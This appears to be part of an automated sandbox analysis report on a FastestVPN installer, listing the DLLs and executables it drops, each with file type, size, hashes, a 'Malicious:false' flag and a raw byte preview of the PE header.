                                                                                                                SSDEEP:384:CiqjQN+Pw2X6VUYNVYuKAiIYiUOI0FP27NBY3Yuv+Pg:1qjQ8f5uKAvYidpK/Y/+4
                                                                                                                MD5:A891AAC2D9FD1B939E07BE155AFC84FF
                                                                                                                SHA1:7F977350D9CFD10C259356D98C0606779519C6EF
                                                                                                                SHA-256:38D6709A0A003761850933F79132CCDC40B6F26460169BAB092931BBA1500683
                                                                                                                SHA-512:E4227CA484824ED3C912A58B741B4A447ACC50DFFB9945165303D5362BA39217FFAEFC62DF60D292A8B081DAD82CD85593FF64DB93DBC26465355D89AA527724
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X4y..........." ..0.............n3... ...@....... ...................................`..................................3..O....@..H................*...`.......2..8............................................ ............... ..H............text...t.... ...................... ..`.rsrc...H....@......................@..@.reloc.......`......................@..B................N3......H........#................................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..(........%-.&r...ps....z(.......(.....*.0..................,..rM..ps....z.(.........,...(....o.......(.......(.....s....o.........(....(......(....o......(....o........&..(.....r...ps....o........*..........tu.......0..B..........(....%-.&+.o.......*&..(.....(....%-.&.+.(......s....o........*.............*.....0..B..........(....%-.&+.o ......*&..(.....

                                                                                                                C:\Program Files\FastestVPN\Service\is-3717G.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):116872
                                                                                                                Entropy (8bit):6.726218253535254
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:8tw0r3S8FpUCSBCLiXdb0NphY3kWlon6ZhPn8agN6K/p:8mWi8FpCBCLybQakA/Pn8agNj/p
                                                                                                                MD5:B9F4D43230B7FB66B95AF05DC03B32DE
                                                                                                                SHA1:56F868C56FFF836CA61055499988F965DCA37D26
                                                                                                                SHA-256:A103634B16841E3A68DD4A6BCBDFC3A1651B8C9F1114D99BF01CA31297664E21
                                                                                                                SHA-512:50EB5DE7D0A1B5D7E1AC38209488635EF77733C2C78DC39D0D473904128DBFC67D4E3EC388D2C2D79645AFDF03FD1965386F6E6D21553C9A6DAB07A58549FD1E
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.n.7.=.7.=.7.=.S.<.7.=.S.<o7.=.S.<.7.=._.<.7.=._.<.7.=._.<.7.=.S.<.7.=.7.=.7.=._.<.7.=._.<.7.=._3=.7.=._.<.7.=Rich.7.=........................PE..L...q._]...........!................O........0............................................@.............................T.......<.......................................p...............................@............0...............................text............................... ..`.rdata..4g...0...h..................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Service\is-414AO.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):122256
                                                                                                                Entropy (8bit):6.572766216409801
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:nU40ONP+ki9jNhepTRIvy2V7iOHckTTv0c7tSuagvcCy:ShenI6w7wk0Sq3
                                                                                                                MD5:C24CF68C9012B4E261D2FD6B2240BBE8
                                                                                                                SHA1:45844AE139DB45652AAC12E1D6EE138ED709E261
                                                                                                                SHA-256:42ED395C54526DAD6AA275CA2A65F6DE6E94BC8CEC8548CFB9891BA430FF1974
                                                                                                                SHA-512:DDF7872EB70E9546D28A209A562C873BA9E9402AD600C3D44ACD425FC7337C19B581A8C06F8BAD5987B36EF82895AAD0DA48CBC7E0E64886CD0EB7C9884FFA4D
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....*0..........." ..0.................. ........... ....................... .......$....`.................................k...O........................'..........0}..p............................................ ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........................u.......|........................................-.r...ps(...z......()....o*...*..-.r...ps(...z.-.r...ps(...z.......%...(...+&*..-.r...ps(...z.-.r...ps(...z.......%...(...+*...0..^........-.r...ps(...z.-.r...ps(...z.-.r-..ps(...z.(+...-..rI..p.o,...,.(S...r...ps-...z..s.....(....*...0...........-.r...ps(...z.-.r-..ps(...z..(....,$..(....rI..p.o,...,.(S...r...ps-...zs....%.o............%...(...+..o.......o/..........()...o0...t....o.....*...0..s.......

                                                                                                                C:\Program Files\FastestVPN\Service\is-4L5KV.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):60584
                                                                                                                Entropy (8bit):6.426868083769682
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:W0YiwXHy9lkD6vudI9C3dt8dNbm+ESg34o556bYIDwpFGpphsA/FIDbaFLdtlxnn:WxJ8kM9CHJ6bY3zkXX8u4iNd7EgIK/X
                                                                                                                MD5:D4BECC422A254D1A75CFC60750572848
                                                                                                                SHA1:2AE1D45045828B8D9A57DD90213F462D72F9A98B
                                                                                                                SHA-256:A8BC4A168A5F9CD7ABBBBFF3F0794F433233A72D557E168AF42BD34FFF3A2F34
                                                                                                                SHA-512:91A1E21F87868A00CF715018577A028413CB638A7965756324AFCF16A6108906DCB355959882C2C555C7276EF1A70627E455B4057695DE8C462E4D0679FEFAC5
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............r.... ........... ....................... ............`................................. ...O........................*..............8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................T.......H.......T0..4.............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*>.(....o4......*>.(....o4......*>.(....o2......*>.(....o2......*>.(....o2......*v.(....-..(....,..(....+..+..*..{....*"..}....*6..s....}....*..0............(......,...(k.....*....0..4.......s......(....}......}......}......}.....|......(...+*.0..Y.........(....o....r...p(....(c....(f....(g.....(......,&.

                                                                                                                C:\Program Files\FastestVPN\Service\is-4V7RF.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):41128
                                                                                                                Entropy (8bit):6.401085070695131
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:lQq+jQ+JutCjyVmF8Wq8sBP3/7lpKaDBuz3bzrzlJBOKipq8pdwYv4qzsYiCtRKS:4VutFQF873t3/77KaDBuz3bzrBJBOKiT
                                                                                                                MD5:AD53B27150F1E38EF23BD155A07E2313
                                                                                                                SHA1:3A9A4383B9286A0E1A3F4102BC56437A5A961E41
                                                                                                                SHA-256:62DBC8A6D43D623E5F267B59A3C78807CB08EFBE37A06A67425C9458D8B985DA
                                                                                                                SHA-512:F8D471175E39425F1E1613C60EDD9D1A98DBACC98E3F18746AA642524AFB7D9F9A299B2BE33629200AB94538BF95C78B6343DE193EE3AD48B1CFC1DD4E37E9D4
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....z:..........." ..0..n..........&.... ........... ....................................`....................................O.......h............v...*..........@...8............................................ ............... ..H............text...,m... ...n.................. ..`.rsrc...h............p..............@..@.reloc...............t..............@..B........................H........6..PU............................................................{....*"..}....*..{....*"..}....*..~....}......s....}.....(........(.............s*...}....*....0..................,5...(A.....(.........,..~.....(.....s....o.......8..............0....B+......8..... . ...G+.. . ..;....8....~.....(.....s....o.....8....~.....(.....s....o.....+s.o.....~.....(....s....o......(....o ...r...p(!.......,...(.......{.....{....o"....(6...&+...(......s#...(.....+.+..*..0..F.......

                                                                                                                C:\Program Files\FastestVPN\Service\is-8HGA9.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):711952
                                                                                                                Entropy (8bit):5.967185619483575
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
                                                                                                                MD5:195FFB7167DB3219B217C4FD439EEDD6
                                                                                                                SHA1:1E76E6099570EDE620B76ED47CF8D03A936D49F8
                                                                                                                SHA-256:E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
                                                                                                                SHA-512:56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                                                C:\Program Files\FastestVPN\Service\is-99PJ9.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):159368
                                                                                                                Entropy (8bit):6.32384599449582
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:OcqXDYZbIkCKezJaoCNVljUmcmAs6Jm4AFt2iPaTatnhrOKK/E:9qbKwcB4njeXBSTcpOT/E
                                                                                                                MD5:7AE17C855F3CC63174E90EA527B6138B
                                                                                                                SHA1:0FE1E1B2252511F33EDA3FFCF1F8FC8586AB040A
                                                                                                                SHA-256:26FF04208EC4D26EF4DDD9B3CF01C4D2A1544550BCD59EFDE6F30170053A1170
                                                                                                                SHA-512:453BA41332A704F491FC9E1EE5FBE9F883EDDB4C26A71D207C93992726E9C5B7FEDC48EEEE2A2087F64B083F9473EE794FB2C8F3B77C9DBCBBC47B67816BD156
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............Y.......................................................................Rich....................PE..L.....[...........!.........................................................`..................................................P.... ..`............@.......0..(...0...............................0...@............................................text....w.......................... ..`.rdata...A.......P..................@..@.data....6....... ..................@....rsrc...`.... ......................@..@.reloc..2(...0...0..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Service\is-9K6BQ.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):28648
                                                                                                                Entropy (8bit):6.283743404391549
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:vPYMDLxA6GikwBUGkXkFmDKAsIh5V7L5XWmzWNsWtyHRN7XZj05seyR9zHA:vgMmZ1dUdGZSDuXZj05sN9zg
                                                                                                                MD5:9FFF1DA4E481028262E27AEFD7C0EFF4
                                                                                                                SHA1:B0128E42E3CE3C295C48461A651AF99D95B5A04D
                                                                                                                SHA-256:3FDB918CC5F1E5F1FA9C155DC68AAFE10A16C73ED934C06B201ED94070EA985D
                                                                                                                SHA-512:6B02B873C4092BFE3C2D8428093696E94C6021DB9D6FA8740E79DF7C6C5208229ED7AE8A62E96597EEEF348956BC6AB79375292B6456162F78D332E3830B75EC
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P^.b.........." ..0..>...........\... ...`....... ..............................c.....`.................................x\..O....`...............H...'..........@[............................................... ............... ..H............text....<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B.................\......H.......(-...+..........8X.......Z........................................(.....s....(.....s....(.....s....(.....s....(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*..0..1..........j...(.........(...._,.r...p(I...s....z..}....*..{....*"..}....*...0..p.......s....%r...po....&%.(....o....&%r/..po....&%.(....o....&%rU..po....&%.(....o....&%r{..po....&%.(.......(....-.r...p+..(.......(.......( .

                                                                                                                C:\Program Files\FastestVPN\Service\is-BN7P3.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):31912
                                                                                                                Entropy (8bit):6.377780370750934
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:H4sSUSsK/Py54Iu67VMam4AX10KIUt0kYcT/EDYZGSPeyc8cHIlkLi7gIYiNZs0t:HzNK/G4IfVswkYLy5L7pYiNbK/Y/+hM
                                                                                                                MD5:14515F3569114E0060716ABD3AB3265A
                                                                                                                SHA1:9E2DBC71979FFB5E3270C9353EA53448D9E07544
                                                                                                                SHA-256:94DEC461C651A437049E2E5CBA046684E7177C350B836B363880EEEBDD1EBDEA
                                                                                                                SHA-512:7067B02E1493A61BBABA8DDF922A8B5FDC31466F0E28ADAC116865661E739D6939863C44212FB0A22C49D2F3F03D2C28221E54C15FBC6387C43BD47637A349E4
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.C..........." ..0..J..........~h... ........... ..............................yA....`.................................*h..O....................R...*...........g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............P..............@..B................^h......H........1...5............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*&..(.....*...0...........s.......o.....+X..(.........(....o....o....&..(.........,!..r...po....&...(....o....o....&..r...po....&...(....-...........o ......o....o!.....+...*...........et.......0...........s"...%r...p.o#....%r...pr#..po#....%r+..prA..po#....%r]..p.($...o%...o#....%ro..p.($...o&............o....o'...o#....%r...p.($...o(....

                                                                                                                C:\Program Files\FastestVPN\Service\is-CHG7I.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):20136
                                                                                                                Entropy (8bit):6.721932799011409
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:WaXxdsvBO/dITrZ+VK6G6IYi+PVC0FP27NBY3Yuv+cN:WJZl6GHYiGZK/Y/+cN
                                                                                                                MD5:8E6A799F0DA3FBA278F06D4C7A18E7B5
                                                                                                                SHA1:B9AD516A47362FFAF360C1E8794D2F10C8E7080F
                                                                                                                SHA-256:1029DDF44F3CD774754DDFEAFB97BE18CD31B50DE24F19870F9BDE8163B5DEA5
                                                                                                                SHA-512:4607E418C0BE1F632CBE5CE0A8F1877F45EB873C193B4FF7C52495E891BD05D7F3AA3847D97F36D7B5601FCCAFCF6DE4A822140D9610C9E9BCA900BC06C67DE8
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W/%..........." ..0.............^;... ...@....... ....................................`..................................;..O....@...............$...*...`......l:..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................>;......H........$..............................................................F.(....r...p(....*..{....*"..}....*..0...........s......r...po....&.r-..p.(....o....(....o....&.rI..p.(....o....r_..p(....o....&.rg..p.(....o....(....o....&.(......,...ru..po....&..r...po....&.r...po....&.r...p.(....o....(....o....&.r...po....&.r...p.(....o....r...p(....o....&.(....o.....o....( ....*..r...p.(....o!...r...p(....r...p.(....o....r...p(....("...&*..r?..prK..p.(.........(#...("...&*..r?..pr...

                                                                                                                C:\Program Files\FastestVPN\Service\is-GCC8H.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):15528
                                                                                                                Entropy (8bit):6.93175318343703
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:KKE4Nl+ACIYiYF80CX+0tvTS8hFP2bnNr/ZyGMLBVYvmvVKNFUK:ZE4OhIYifS0FP27NBY3Yuv+n
                                                                                                                MD5:ADF6FCD8199E4DA7F52FBEBD9D9496D7
                                                                                                                SHA1:17E7E444AB035AE759D3B0E48928B7D23CEC3682
                                                                                                                SHA-256:C1AF49ACF4E6E9B77C025405CB31E6493F4A9A0080AE48381CE3B36EC5E1D76E
                                                                                                                SHA-512:72F42DC40B2B1B9C25F0B4BC6E18BCE4B9F144A39442B05E5DF6FB792EA1F5E0645E5CF6251918AF0D81316437982ADBE6892992E4F4323CF48C84A6B08FD809
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.P...........!................N)... ...@....... ....................................@..................................(..W....@...................*...`.......'............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0)......H........ ......................P ......................................-.N...._J...a.w~.{...I..}.B.;=.XT.Jh.;.(f.eU/@r.. .......g...^......{i....h]..A,};......g..4..bb.....(..S).]..Ol.[..r....C.BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob...........G.........%3................................................................H.-...p.i.....i.....................8.....W.......p.....p.................i.......;.$...

                                                                                                                C:\Program Files\FastestVPN\Service\is-I39KV.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25768
                                                                                                                Entropy (8bit):6.829205499580206
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:+NjMaZomdl7FUC9mhsCVoNycrjIg9J197j26dIYi5YFK0FP27NBY3Yuv+QgP:+HhShzuD/Bpa6KYiyFjK/Y/+PP
                                                                                                                MD5:76DC589253A2FDAAA3CDD02E9F5421DD
                                                                                                                SHA1:A072B9CDDBDC150394643EBFD565A2443AFD9501
                                                                                                                SHA-256:9AC1C9B0343F4D9638FEB4FA25824AFBD2D829EEBF13E54A5FD2197CED2118B5
                                                                                                                SHA-512:50A85E3C61A2506912BC0F4547079DAB2C6B60A882127A4C3087C9AB4065C6568B1E8D4AF246D68BFEE7E7347664883A2FC8E00E2E58EA1DE867FE33D8220861
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.a.pi.Hpi.Hpi.H68.Hri.H68.H|i.H68.Hri.H68.Hti.H...Hqi.H...Hyi.Hpi.HFi.H};.Hsi.H};.Hqi.H};.Hqi.H};.Hqi.HRichpi.H........PE..L....q.Z...........!.................$.......0...............................p.......D....@..........................7......D:.......P...............:...*...`..x...................................p4..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....rsrc........P.......4..............@..@.reloc..x....`.......6..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Service\is-IS5UL.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):101776
                                                                                                                Entropy (8bit):6.519631245398067
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:+iE88BMo5Gv8yIu8mRfXU5i8Ubd0L1nDmNxk3NUXwPrSMk7+W+shzS0ICpL:+iE88BMo5Gv8yIu8mRfXU5fUbd01mNxV
                                                                                                                MD5:58D1267BAFC9E0D9531D7C97A08A3A68
                                                                                                                SHA1:1EC6E26D9E71D1CB5C885879CC8F6D3762DC5FD6
                                                                                                                SHA-256:34FB96B4CCA40AC4312E36E3310EACC2C13F2562BAAB7FFE836060965B7AD579
                                                                                                                SHA-512:E6A6EDE57B59CB675D869D1B5BD43C67C864363CE7168538ABB048F911783181546F7CBFEB29EE49EEC21291EEBD442E3BA9819967F8ABE3AD00AC33C94A3620
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c=..........." ..0..\...........z... ........... ...................................`.................................Kz..O....................f...'..........<C..p............................................ ............... ..H............text....Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................z......H..........,............A.......B.......................................0..............o+...-..........*......*.0............(...+..-..........*..(...+*....0...........(,....s-...}......}/.....}2........(....r...p.$o/......5...(....r+..p.$o/...}1.....(0...,..o1........(....(2...,....{/...o3...t....}0....{1....(4...-..{0...-..{2...rI..p(....*.0..D........{1....(4...-..{0...-.(5...*.{1....o6...o3....l......(........o6...*.0...........{.......o7...,..*..(....*...0..........s8..

                                                                                                                C:\Program Files\FastestVPN\Service\is-KN6S1.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):301224
                                                                                                                Entropy (8bit):5.822993671222324
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:I856+Aq4WBT5TjbyfQ5d2ap3BES3l+3p7z8p5+cyIqrKMjE3g2AJX5ex4uyj0bOP:v56+Aq4WBTWpSqXhpeEioU2U7/c
                                                                                                                MD5:8E545EE7F96C317AADC4EDA0F0FCF481
                                                                                                                SHA1:242F4D714B142C10368AA82AF91B0A06E0A4E33F
                                                                                                                SHA-256:A67BBFB9EFE5C1CD55D3B8209093BA93370F1EAE4F03A0349696D7B45867EAFC
                                                                                                                SHA-512:77EBC317804B3D0830E76156D93A38980CA113CA80B0A3A2051FDF00D2ABAC96A39AA9BF099AE9CC5AF1E27D14976B5C582096DD6B3AB7F521423FCE6EC11FDE
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._.Y.1.Y.1.Y.1..l.[.1...>.].1.[.5.[.1.9.|.X.1...l.D.1.Y.0.p.1...n.V.1...Q.M.1...o.X.1...k.X.1.RichY.1.........PE..L...[..@.................J...................`...............................P......2............ ...........................=..T....@...............n...*..............................................@............................................text....I.......J.................. ..`.data...L....`.......N..............@....rsrc........@.......^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Service\is-LKGMK.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):166800
                                                                                                                Entropy (8bit):5.092225196099469
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:JtayaXxHE9B92Pqg6/rKvXkZ5QwupmY6jCPL:yqNDKvUZZkVlL
                                                                                                                MD5:2839920AD2E9C4B08F97715D88586056
                                                                                                                SHA1:88F7544BF59DDD40E3C934C938A20164F3B518F1
                                                                                                                SHA-256:A655B1BC143B918C6F31B52AEA2726C131F474B70BF7E2DDF36FE48B1E6E279D
                                                                                                                SHA-512:E26A141021648398F109B41275154FDFCF139845466C9A37E80A1AD43725D914FD574F59706AD68404555BCB36490CB307E7E0C9158A8B8E94F97CB93E4C0F37
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..Z...........x... ........... ...............................b....`..................................x..O.......8............d...'...........^..p............................................ ............... ..H............text....X... ...Z.................. ..`.rsrc...8............\..............@..@.reloc...............b..............@..B.................x......H........R..............|S......D^......................................j.-.r...ps$...z.s....(....*..0..Y........-.r...ps$...z.o%...s&......r...p(...+.r+..p..((.....(...+........%...%...%...>....(...+*..-.r...ps$...z......(+.........%...o,...*N.sD...%.oC...(....*b.sD...%.s-...oC...(....*2.sD...(....*....0..C........(.....-.rC..ps$...z.-.rM..ps$...z..,...o......}......}......}....*..0..?.........(/...}4......}5......}6......}3.....|4.....(...+..|4...(1...*j.{....,..{....r]..p.

                                                                                                                C:\Program Files\FastestVPN\Service\is-MTDN1.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):24976
                                                                                                                Entropy (8bit):6.836703429014385
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:STg0otikxUoOHLLEzFzd7h8NTif2+3mJJWg/0W2yHRN7OBu1x85zR9zphght:SwtLUoOrud7hqE2+3mdYuz109zpc
                                                                                                                MD5:5E8C253B1394C1E6E396A939C9FC9068
                                                                                                                SHA1:6AE721F34E256FD90A99617BA19040D45FF6A41F
                                                                                                                SHA-256:4B1A93C57580BD0F304B214EAA3C451272821ACAFC6A0EAE34976606030E0D69
                                                                                                                SHA-512:22CCA8638EF56059A9DE79289D3EB8289F0774579059C6785B08D08229E366BC8E9FA591EAAFBB4F2952FF7627D1CA0AB180C2B82555BA9C4BC8806F837F478D
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l?J..........." ..0..0..........^N... ...`....... ..............................L.....`..................................N..O....`..(............:...'...........@..p............................................ ............... ..H............text...d.... ...0.................. ..`.rsrc...(....`.......2..............@..@.reloc...............8..............@..B................@N......H........&..,....................@.......................................0..T........(.....-.r...ps....z.-.r...ps....z..}......o....%-.&s....}......o....%-.&s....}....*.0..?.........(....}.......}.......}.......}......|......(...+..|....(....*..0..%............(....,...(.....{.....o....o....*....0..I........o....(....-%.....(....,..o ... ....o!.....(....+..o ... ....o!....(...+*v..{......o#...Q.P,..Po$...*.*..0..M........o%.....,B.o&....+%.o'.....o ...o(.....().....(*...o+...

                                                                                                                C:\Program Files\FastestVPN\Service\is-N7NUO.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25768
                                                                                                                Entropy (8bit):6.588649497011045
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:RYTtf+jLXlZfCd8RzDiFrlwkmGWUlupd0IYisq+i0FP27NBY3Yuv+42r:RYpKjlZfC6Fqg7FYiQ7K/Y/+42r
                                                                                                                MD5:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                SHA1:AB18989C4442EB204528E64B18000E8E02FA2C50
                                                                                                                SHA-256:4E296E9B159F5D64E6E71821C9C06260AC02EBB424823ADA64E97DFD418C3CA1
                                                                                                                SHA-512:7F6D1228F93E454477E3C4250D1D0C78995DE8D9AE07FA585DC8BDCBB4A1046338B66BEFE0BD9BF63F61085657F7080A1C6350403292E484F047F9ED791EF43B
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._S............"...0..............M... ...`....@.. ...............................0....`..................................M..O....`..,............:...*...........L..8............................................ ............... ..H............text....-... ...................... ..`.rsrc...,....`.......0..............@..@.reloc...............8..............@..B.................M......H........(..H#...........L................................................{....*"..}....*6.(.....(....*..0..g.........(....... ....0.. .....0. .....". .....&*. .....#. .....!. ......*(,...*(-...*(....*(/...*(0...*(1...*..0..J.......(....(....-.(....(....&~....r...p(.....(.......1.~......(....(......(....*Z(-....(....%-.&*o....*....0.."........r...p..(....(....(....(......&..*...................0..#....... F#.....+..(....-..*..X...X....2..*..0..1.......(....o......,...-..*..+.

                                                                                                                C:\Program Files\FastestVPN\Service\is-OAN7C.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
